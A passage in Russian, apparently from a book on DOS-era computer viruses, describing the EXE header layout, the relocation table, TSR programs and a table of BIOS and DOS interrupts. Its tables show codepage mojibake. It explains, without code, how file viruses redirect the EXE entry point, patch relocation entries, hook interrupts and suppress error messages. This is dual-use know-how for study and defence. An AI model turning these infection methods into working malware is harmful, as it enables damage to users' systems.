ГДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДДЕДДДБДДД_
Рис.11. Структура заголовка файла EXE-формата
Как видно из рис. 11 заголовок состоит из двух частей:
форматированной части (первые 1Ch байт) и таблицы перемещения
(Relocation Table) переменного размера, причем начало таблицы
перемещений определяется значением поля TablOff (обычно это поле
содержит 1Ch, но могут быть и другие значения). Форматированная часть
заголовка включает 14 двухбайтовых полей:
Sign - подпись EXE-файла (4Dh 5Ah -'MZ')[0;2];
PartPag - длина неполной последней страницы (обычно игнорирует-
ся)[2;2];
PageCnt - длина образа загружаемой программы в 512-байтовых страницах,
включая заголовок [4;2];
ReloCnt - число элементов в таблице перемещения[6;2];
HdrSize - длина заголовка в 16-байтовых параграфах[8;2];
MinMem - мин. треб. памяти за концом программы (параграфы)[0Ah;2];
MaxMem - макс.треб. памяти за концом программы (параграфы)[0Ch;2];
ReloSS - сегментное смещение сегмента стека (для устан. SS)[0Eh;2]
ExeSP - значение регистра SP (указателя стека) при запуске [10h;2]
ChkSum - контрольная сумма (отрицательная сумма всех слов файла;
в существующих версия MS DOS, к сожалению, при загрузке
не проверяется) [12h;2]
ExeIP - значение регистра IP(указателя команд) при запуске[14h;2];
ReloCS - сегментное смещение код. сегмента (для устан. CS)[16h;2];
TablOff - смещение для 1-го элемента перемещения (часто 1Ch) [18h;2];
Overlay - номер оверлея (0 для главного модуля)[1Ah;2];
Как видно из приведенной структуры, заголовок EXE-файла, всегда
начинается с подписи MZ. После загрузки программы, загрузчик анализирует
эти первые два байта и, если они содержат MZ, то рассматривает даный
файл как EXE- файл, независимо от расширения имени файла (оно может быть
и COM и BIN, а не только EXE). Эта особенность MS DOS учитывается не
всеми файловыми вирусами. Поэтому, если при заражении вирус исходит из
предположения, что тип файла соответствует расширению его имени, то он
неправильно заражает замаскированные EXE-файлы, которые после
заражения, естествнно, становятся неработоспобными. В то же время этот
эффект потери работоспособности является обратимым: после лечения фагом
заголовок будет восстановлен.
Обычно заголовок имеет размер 512 байт (200h) и значительная часть
его неиспользуется (содержит нули).
Файловые вирусы при заражении изменяют заголовок EXE-файла и это
обстоятельство можно использовать для контроля. Обычно файловые вирусы
изменяют значение полей ExeIP и ReloCS таким образом, чтобы они
указывали на начало тела вируса, дописанного в конце программы (перед
передачей управления программе загрузчик заносит в регистры значения из
соответствующих полей заголовка, а затем передает управление по адресу
CS:IP). Некоторые вирусы используют способ, неосторожно
рекомендованный Д.Н.Лозинским в документации к полифагу AIDSTEST и
основанный на корректировке соответствующего элемента Relocation Table.
Как уже указывалось, эта таблица начинается с байта, адрес которого
указан в поле TablOff (обычно 1Ch) и имеет ReloCnt элементов. Каждый
элемент занимает четыре байта и содержат два поля: <смещение> и
<сегмент>:
Формат таблицы перемещения (Relocation table)
ЪДДДДДДДВДДДДДДДВ Д Д ВДДДДДДДВДДДДДДДї
_ смещ. сегмент_ _ смещ. сегмент_
АДДДБДДДБДДДБДДДБ Д Д БДДДБДДДБДДДБДДДЩ
Загрузчик добавляет к каждому из слов, определенных адресом
соответствующего элемента таблица перемещений, адрес начала сегмента
(обычно PSP +10h). Легко видеть, что этот процесс можно использовать для
изменения команды перехода или вызова подпрограммы, содержащегося по
адресу ReloCS:ExeIP, как бы возвращаясь тем самым к способу, обычно
применяемому вирусами при заражении COM-файла.
РЕЗИДЕНТНЫЕ ПРОГРАММЫ
Выход из программы в MS DOS можно выполнить двумя способами:
1. С помощью функции 4Ch (EXIT) в любой момент, независимо от
значений регистров.
2. С помощью функции 00h или прерывания INT 20h, когда Ваш CS
указывает на PSP.
В этих случаях занимаемая программой память освобождается.
Кроме того, MS DOS позволяет завершить программу и оставить ее
постоянно резидентной (TSR), используя либо INT 27h , либо функцию DOS
31h (KEEP). Последний способ применяется, когда резидентный код длиннее
64K или необходимо сформировать код выхода для родительского процесса.
Концепция TSR-программы используется большинством файловых и всеми
бутовыми вирусами для того, контроливать выполняемые операционной
системой операции и чтобы заражать выполняемые или открываемые на чтени
программы.
ПРИЛОЖЕНИЕ 8
ПРЕРЫВАНИЯ MS DOS
Прерывание - это сигнал от программного обеспечения или аппаратуры,
который позволяет центральному процессору переключаться между заданиями.
При отсутствии прерываний центральный процессор должен бы был непрерывно
отслеживать состояние того или иного внешнего устройства. В первом
приближении прерывание можно представлять как выполнение команды
безусловного перехода на определенную ячейку памяти при возникновении
того или иного сигнала с внешнего устройства или от программы.
В большинстве архитектур ЭВМ имеется специальная команда,
позволяющая отключить прерывания за исключением одного-двух наиболее
высокоприоритетных с тем, чтобы иметь возможность обработать
определенное прерывание без потери управления в результате возникновения
в процессе обработки другого прерывания.
Следует отметить, что в строгом смысле этого слова прерыванием
можно называть только те, которые ведут к приостановке действия текущей
программмы и выполнению каких-то дополнительных действий. Для
микропроцессора 8086/286/386 такими строгими прерываниями являются
только некоторые из описываемых ниже прерываний.
В MS DOS функции по управлению процессами и файловой системой также
привязаны к определенным прерываниям, однако не являются прерываниями в
строгом смысле этого слова. По сути они являются функциями - точками
входа в модуль BIOS или MS DOS реализующий соответствующую операцию.
Использование прикладной программой той или иной функции удобно
выполнять, используя обращение к соответствующему прерыванию, поскольку
отпадает необходимость знать адрес начала модуля, реализующего эту
функцию. Поэтому прерывания можно условно разделить на три группы:
Собственно прерывания, сервис и указатели:
Прерывания Сервис Указатели
ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ
INT 00H Деление на 0 INT 10H Видео сервис INT 1dH Видео параметры
INT 01H Пошаговое INT 11H Список оборудования INT 1eH Параметры дискет
INT 02H Немаскируемое INT 12H Размер исп.памяти INT 1fH Символы графики
INT 03H Точка прерыв. INT 13H Дисковый в/в
INT 04H Переполнение INT 14H В/в через последовательный порт
INT 05H Печать экрана INT 15H Расшир.сервис AT INT 41H параметры
INT 06H (резерв) INT 16H В/в клавиатуры первого винчестера
INT 07H (резерв) INT 17H В/в принтера INT 46H параметры второго
INT 08H Таймер INT 18H ROM-BASIC винчестера
INT 09H Клавиатура INT 19H Загрузка INT 44H граф. симв. EGA
INT 0aH-0dH (hdwr ints) INT 1aH В/в таймера INT 4aH user alarm addr
INT 0eH Дискета INT 1bH Прерывание клавиатуры INT 50H CMOS timer int
INT 0fH (hdwr int) INT 1cH Пользовательское прерывание по таймеру
INT 20H-2fH Прерывания MS DOS
В микропроцессоре 8086/8088 предусмотрено 256 различных типов
прерываний. Команда INT данного микропроцессора имеет однобайтовое поле,
в котором записывается номер прерывания. Например, команда INT 21
обеспечивает обращение к 21 прерыванию (здесь и далее номера прерываний
приводятся в 16-ричной системе счисления, 21h = 33d). Поскольку вместо
адреса в команде INT указывается тип прерывания (номер), то имеется
специальная таблица прерываний, ставящая в соответствие каждому номеру
прерывания адрес подпрограммы обработки этого прерывания. В
микропроцессоре 8086/286/386 для этой цели отводятся нижние 1024 байта
памяти - по 4 байта на каждое прерывание. В процессе интерпретации
команды процессор запоминает состояние флажков в стеке (специальной
области памяти, организованной по принципу первым пришел - первым ушел),
умножает номер прерывания на 4, считывает соответствующий элемент
таблицы прерываний и выполняет переход по содержащемуся в нем адресу.
Когда подпрограмма обработки прерывания отработает, она с помощью
специальной команды восстанавливает значения флажков из стека, загружает
в соответствующие регистры адрес команды, следующей за точкой
прерывания, и возвращает управление по этому адресу.
Очевидно, что заменив адрес в таблице прерываний, можно тем самым
заменить обработчик прерываний на свой собственный. Эта операция и
называется перехватом прерывания. В приводимой ниже таблицы перечислены
основные прерывания с некоторыми пояснениями. Для экономии места
пояснения вставлены в разрыв таблицы. При составлении таблицы были
использованы материалы из электронного справочника TECHHELP Дана
Роллингса (D.Rollings). Изложение ориентировано на облегчение разбора
протоколов трассировки и листингов дизассемблирования программистам, не
работающим на ассемблере.
Таблица
ЪДДВДДДВДДВДДДДДДДДДДВДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_П _ _В _ _ _ _
_р _ _е _ _ _ _
_е _ _р _ _ _ _
_р _AH _с._ Тип _ Английская _ Перевод _
_ы _ _D _прерывания_ мнемоника _ _
_в._ _O _ _ _ _
_ _ _C _ _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_00_ - _- _ Aппарат.,_ Divide error _ переполнение при делении _
_ _ _ _ прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Возникает после выполнения команд деления (DIV или IDIV), если
результат операции деления (частное) не умещается в поле результата, в
частности при делении на 0.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_01_ - _- _ Aппарат.,_ Single-step _ пошаговое выполнение программы _
_ _ _ _ прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Если установлен флаг трассировки процессора (TF=1), CPU вызывает
это прерывание после каждой команды. Некоторые вирусы используют
пошаговое выполнение программы, используют это прерывание, чтобы
определить адрес прерываний и обойти резидентные средства защиты.
Трассировка отключается (TF=0) при выполнении любой команды INT, так что
само INT 01H выполняется не в пошаговом режиме.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_02_ - _- _ Aппарат.,_ NMI _ Non-maskable interrupt _
_ _ _ _ прерыв. _ _ (немаскируемое прерывание). _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Немаскируемое прерывание (NMI) - это единственное прерывание, не
запрещаемое командой CLI. Поэтому его можно использовать в специальных
случаях, которые требуют немедленного действия. Это прерывание
спроектировано для обработки катастрофических ситуаций, таких как сбой
питания. В системе, обеспечивающей целостность данных, NMI может,
например, выводить образ памяти на диск с целью избежать потери данных.
В стандартной системе PC BIOS, NMI аппаратно вызывается в случае ошибки
четности памяти. Когда это происходит, PC зависает.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_03_ - _- _ Указатель_ 1-Byte _ Прерывание по заданному _
_ _ _ _ _ interrupt _ байту _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Вектор прерывания INT 03H используется отладчиками, чтобы
перехватывать управление, когда программа достигает указанного
пользователем адреса. Код операции для INT 03H занимает один байт
(CCh), так что им можно временно замещать начало любой команды, не
боясь затереть следующую команду.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_04_ - _- _ Aппарат. _ Overflow _ Прерывание по переполнению _
_ _ _ _ прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Вектор INT 04H может использоваться как один из способов оптимизации
программ, содержащих большое число арифметических операций. Выданная
после любой арифметической операции, команда INTO осуществляет провер-
ку на арифметическое переполнение, и, если флаг переполнения взведен
(OF=1), вызывает прерывание INT 04H.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_05_ - _- _ Пользов. _ Print-screen _ Печать экрана (нажатие _
_ _ _ _ прерыв. _ _ клавиши PrtScr) _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Это прерывание вызывается обработчиком прерывания INT 09H при
распознавании клавиши PrtSc. Оно может также вызываться из программы (в
частности, вируса). Пересылает содержимое экрана активного дисплея
на принтер, если принтер свободен и находится в со стоянии ГОТОВ.
Операция может быть прекращена по Control-Break
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_08_ _ _Aппарат. _TIMER TICKS _ Прерывание от таймера _
_ _ _ _(8259-1, _ _ _
_ _ _ _IRQ 0), _ _ _
_ _ _ _прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Прерывание от основного таймера, контролирующие системные часы и
другие системные ресурсы. Возникает каждые каждые 55мс, или около 18.2
раз в секунду. Имеет наивысший среди маскируемых прерываний приоритет.
Данное прерывание является системным и его главная функция - увеличение
значения 32 битового счетчика системных часов. Кроме того это прерывание
выключает мотор флоппи диска, если он не используется в течении 2-х
секунд. Имеется аналогичное пользовательское прерывание 1C (см. ниже).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_09_ - _- _Aппарат. _KEYBOARD I/O _ Прерывание от клавиатуры _
_ _ _ _(8259-1, _ _ _
_ _ _ _IRQ 1), _ _ _
_ _ _ _прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Возникает при нажатии клавиши клавиатуры или их комбинации.
Заносит скан-код клавиши в буфер клавиатуры. При переполнении буфера
выдает на динамик звуковой характерный звуковой сигнал. Некоторые
комбинации нажатий клавиш вызывают специальные действия: Ctrl-Alt_Del -
перезагрузка компьютера путем прехода на по адресу; Print screen -
рассмотрено выше Ctrl-Break - вызывает прерывание1B; Pause - переводит
программу в состояние ожидания до нажатия следующей клавиши
отслеживает состояние клавиш Shift и различных Lock. Резидентные
программы, которые имеют клавишу (или комбинацию клавиш)
для вызова, перехватывают INT 09H и проверяют на определенный ключ.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_ _ _ _ _ _ _
_0E_ - _- _Aппарат. _FLOPPY DISK _Прерывание от дискеты _
_ _ _ _(8259-1, _CONTROLLER _ _
_ _ _ _IRQ 6), _ _ _
_ _ _ _прерыв. _ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Аппаратно генерируемое прерывание (IRQ 6), вызываемое контроллером
флоппи-дисков, используется прерыванием 13H
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_10_fun_- _ сервис _VIDEO DISPLAY _ VIDEO _
_ _ _ _ BIOS _ SERVICES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Типичное пользовательское прерывание, имеющее подфункции, задаваемые
в регистре AH:
AH Сервис AH Сервис
ЯЯЯ ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ ЯЯЯ ЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯЯ
00H уст. видео режим 0aH писать символ
01H уст. размер и форму курсора 0bH выбрать палитру/цвет бордюра
02H уст. позицию курсора 0cH писать графическую точку
03H читать позицию курсора 0dH читать графическую точку
04H читать световое перо 0eH писать символ в режиме TTY
05H выбрать активную страницу дисплея 0fH читать видео режим
06H листать окно вверх (или очистить) 10H EGA:уст. палитру
07H листать окно вниз 11H EGA:генератор символов
08H читать символ/атрибут 12H EGA:специальные функции
09H писать символ/атрибут 13H писать строку (только AT + EGA)
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_ _ _ _ _ _ _
_12_-- _- _ сервис _ SYSTEM _Размер используемой памяти _
_ _ _ _ BIOS _ MEMORY SIZE _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Возвращает размер системной памяти в килобайтах в регистре AX
Это значение совпадает с тем, которое которое хранится в ячейке 0:413
(см. карту оперативной памяти а прил.3). Для PC/XT определяется во время
начальной загрузки (POST). Для AT - из CMOS-памяти. Возвращаемое
значение содержит PSP любой программы.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_13_fun_- _ сервис _ DISK _ Дисковый ввод-вывод _ Reset disk system
_ _ _ _ BIOS _ SERVICES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот сервис предоставляет прямой доступ к адаптерам дискеты и
винчестра. Имеет ряд подфункций ( подфункции > 8 - только для винчестера)
00h сброс контроллера 08h дать парам.диска 10h проверить готовность
01h дать статус 09h иниц табл.парам 11h рекалибрация
02h читать секторы 0Ah длинное чтение 14h диагностика
03h писать секторы 0Bh длинная запись 15h дать тип диска
04h верификация 0Ch искать цилиндр 16h изменить статус
05h форматир дорожку 0Dh альтерн.сброс 17h уст.тип диска
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_14_fun_- _ сервис _ RS-232 SERIAL_ Ввод-вывод через _
_ _ _ _ BIOS _PORTS SERVICES_ последовательный порт _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Эти функции BIOS предоставляют доступ к двум портам RS-232.
Начиная с 0:0400, хранятся базовые адреса до 4-х последовательных портов,
однако POST проверяет и инициализирует лишь два первых порта.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_15_fun_AT_ сервис _ GENERAL _ Расширенный сервис для AT _
_ _ _ _ BIOS _ SERVICES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Прерывание 15h обрабатывает специфические функции AT:
80h Device Open 86h Wait
81h Device Close 87h Move Extended Mem Block
82h Program terminate 88h Get Extended Mem Size
83h Event wait 89h Switch to Virtual Mode
84h Joystick 90h Device Busy Loop
85h SysReq key 91h Finish Interrupt
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_16_fun_--_ сервис _ KEYBOARD _Сервис клавиатуры _
_ _ _ _ BIOS _ SERVICES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Обеспечивает интерфейс с клавиатурой для прикладной программы.
Нажатия клавиш на самом деле обрабатываются асинхронно на заднем плане.
Когда клавиша получена от клавиатуры, она обрабатывается прерыванием
09h и помещается в циклическую очередь (буфер клавиатуры).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_17_fun_--_ сервис _ PRINTER _ Поддержка принтера _
_ _ _ _ BIOS _ SERVICES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Данное сервисное прерывание предоставляет доступ к портам
параллельных принтеров (LPT1 и т.д.). Адреса портов принтеров хранятся,
начиная с 0:0408.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_18_ _ _ Указатель_ TRANSFER _ Встроенный Бейсик _
_ _ _ _ BIOS _ TO ROM BASIC _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор содержит точку входа для интерпретатора ROM-BASIC,
который установлен только на оригинальных компьютерах фирмы IBM. Клоны
не имеют BASIC в ROM-памяти и должны использовать отдельную программу,
обычно GWBASIC. Иногда используется для обработки ситуации, когда ни
один из дисков не читается (сбоит или отсутсвует).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_19_ - _- _ сервис _ BOOTSTRAP _ Начальный загрузчик _
_ _ _ _ BIOS _ LOADER _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Выполняет попытку считывания бутсектора с дисковода А или C. Если
чтение оказалось успешным, то управление передается считанному
начальному загрузчику. Этот вектор рассматривается после POST , чтобы
попытаться загрузить и выполнить какой-либо код начального вызова на
дискете или винчестера. Данные в секторе 1 дорожки 0 головки 0
дисковода 0 для первого откликнувшегося диска (дискеты или винчестера)
загружаются по абсолютному адресу 0000:7c00, и управление
передается по этому адресу. Если опрос всех дисков неудачен, управление
передается на прерывание INT 18h . На винчестере, этот код в корневом
секторе в действительности определяет MBR, который исходя из данных в
Partiton Table затем загружает и выполняет бутсектор соответствующего
раздела. Это передает управление активной операционной системе диска.
Это прерывание используется вирусами переживающими теплую
перезагрузку.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_1A_fun_--_ сервис _ REAL TIME _ Ввод-вывод для времени _
_ _ _ _ BIOS _CLOCK SERVICES_ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Эта сервис предоставляет доступ к системным часам. PC BIOS
работает со счетчиком тиков - числом 55-мс интервалов, прошедших с
момента включения или сброса PC. BIOS PC/AT предоставляет также доступ к
значениям часов реального времени, которые постоянно обновляются
независимо от работы процессора и хранятся в CMOS-памяти компьютера AT.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_1B_ - _--_Указатель _ KEYBOARD _ Прерывание от нажатия клавиши _
_ _ _ _ _ BREAK _ Control-Break _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0:006c) берется, когда BIOS распознает нажатие
клавиши Ctrl-Break. INT 1bh первоначально указывает на IRET, но DOS
устанавливает его на локальную программу, которая взводит внутренний
флаг DOS. DOS время от времени проверяет этот флаг и действует в
соответствии с действующим режимом обработки прерываний. (см прил.5
функции 33h и INT 23h, используемые для обработки Ctrl-Break в
программе).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_1C_ - _--_Программно_CLOCK TICK _Пользовательское прерывание _
_ _ _ _аппаратное_TIMER TICKS - _по таймеру _
_ _ _ _прерывание_ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0:0070) BIOS берет по каждому тику аппаратных часов
(каждые 55 миллисекунд; приблизительно 18.2 раз в секунду).
Первоначально он указывает на IRET, но может быть изменен
пользовательской программой, чтобы адресовать фоновую программу
пользователя, базирующуюся на таймере.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_1D_ - _--_ указатель_6845 VIDEO _ Указатель видеопараметров _
_ _ _ _ BIOS _INIT TABLES _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0:0074) указывает на совокупность видео параметров,
используемых прерыванием INT 10h для установки регистров
видеоконтроллера и некоторых констант BIOS при инициализации режима
видео. Можно создать RAM-резидентную версию этой таблицы и
модифицировать параметры, чтобы изменить работу некоторых экранных
режимов. Например, таким способом команда DOS Mode сдвигает экран
влево или вправо.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_1E_ - _--_ Указатель_DISKETTE PARAM_Указатель параметров дискеты _
_ _ _ _ BIOS _(BASE TABLE) _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0:0078) указывает на таблицу параметров дискеты,
которую прерывание 13h использует для различных операций с дискетами.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_20_ - _--_ сервис _PROGRAM _ Завершить программу _
_ _ _ _ MS DOS _TERMINATION _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Это прерывание используется для выхода из программы и возврата
управления родительскому процессу (обычно COMMAND.COM). Оно
восстанавливает значения управляющих векторов INT 22h INT 23h INT 24h
и сбрасывает все файловые буфера. Регистр CS должен содержать значение
PSP завершающегося процесса. Программы COM-формата обычно выполняются
при CS=PSP, И, следовательно, могут выдавать INT 20h в любой момент.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_21_fun_ _ сервис _ DOS _ Функции MS DOS _
_ _ _ _ MS DOS _ SERVICE _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Это прерывание служит главным входом большинства функций DOS.
Подробнее см. прил.5.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_22_ - _--_ Указатель_ TERMINATE _Адрес завершения _
_ _ _ _ MS DOS _ ADDRESS _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Адрес в этом векторе (0000:0088) представляет собой место, куда
будет передано управление, когда текущая программа завершится
выполнением функции 20h (традиционный выход в DOS), 21-00h,
21-4Ch(EXIT), 27h (TSR: Завершиться, но остаться резидентным) или 21-31h
(KEEP). Адрес в этом векторе копируется в поле PSP Terminate Address
функциями 26h (создать PSP) и 4bh (EXEC). Подробнее см. прил.5.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_23_ - _--_Указатель _ CONTROL C _ Адрес выхода по Ctrl-Break _
_ _ _ _ MS DOS _ EXIT ADDRESS _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Адрес в этом векторе (0000:008c) - это адрес, по которому
передается управление, когда DOS распознает, что пользователь нажал
Ctrl-Break. Адрес по вектору INT 23h копируется в поле PSP Ctrl-Break
Address функциями DOS 26h (создать PSP) и 4ch (EXEC). Исходное значение
адреса обработчика Ctrl-Break восстанавливается из PSP при завершении
программы. Таким образом, по завершении порожденного процесса будет
восстановлен адрес обработчика Ctrl-Break из родительского процесса.
DOS вызывает INT 23h, когда распознает, что нажата комбинация
Ctrl-Break. Реакция на нажатие Ctrl-Break может быть проверена или
установлен посредством функции 33h (см. прил.5).
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_24_ - _--_Указатель _ FATAL ERROR _Обработчик критических ошибок _
_ _ _ _ MS DOS _HANDLER ADDRES_ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот вектор (0000:0090) хранит адрес, по которому передается
управление, когда драйвер устройства DOS обнаруживает критическую
ошибку. Адрес по этому вектору копируется в PSP функицями 26h (Создать
PSP) и 4bh (EXEC). При выходе родитель- ские значения восстанавливаются
в векторе INT 24h из родительского PSP. Нормальный обработчик INT 24h -
это код, который выдает сообщение:
Abort, Retry, Ignore?
при неготовности дискеты или принтера. Многие вирусы используют для
блокирования этого сообщения собственный обработчик критических ошибок.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_25_ - _--_ сервис _ ABSOLUTE _ Прямая дисковая операция чтения _
_ _ _ _ MS DOS _ DISK READ _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Этот сервис DOS предоставляет прямой доступ к любому сектору диска,
доступному через DOS-BIOS или устанавливаемые драйверы устройств.
Логические секторы DOS начинаются с корневого сектора . Первый сектор в
разделе DOS - это логический сектор 0.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_26_ - _--_ сервис _ ABSOLUTE _ Прямая дисковая операция записи _
_ _ _ _ MS DOS _ DISK WRITE _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
См. пояснение к прерыванию 25h.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_27_ - _--_ сервис _TERMINATE BUT _ Завершиться, _
_ _ _ _ MS DOS _STAY RESIDENT _ но остаться резидентным _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Возвращает управление DOS, оставляя часть памяти распределенной,
так что последующие программы не будут перекрывать программный код или
данные в этой памяти. INT 27h - это традиционный метод создания
резидентных программ который используется рядом простых вирусов. Наряду
с ней используется функция 31h (KEEP) см. прил.5.
ХННСНННСННСННННННННННСННННННННННННННСННННННННННННННННННННННННННННННННННё
_28_ - _3+_ сервис _ KEYBOARD _ Квант времени DOS _
_ _ _ _ MS DOS _ BUSY LOOP _ _
АДДБДДДБДДБДДДДДДДДДДБДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
Это недокументированное прерывание DOS использует, когда ждет
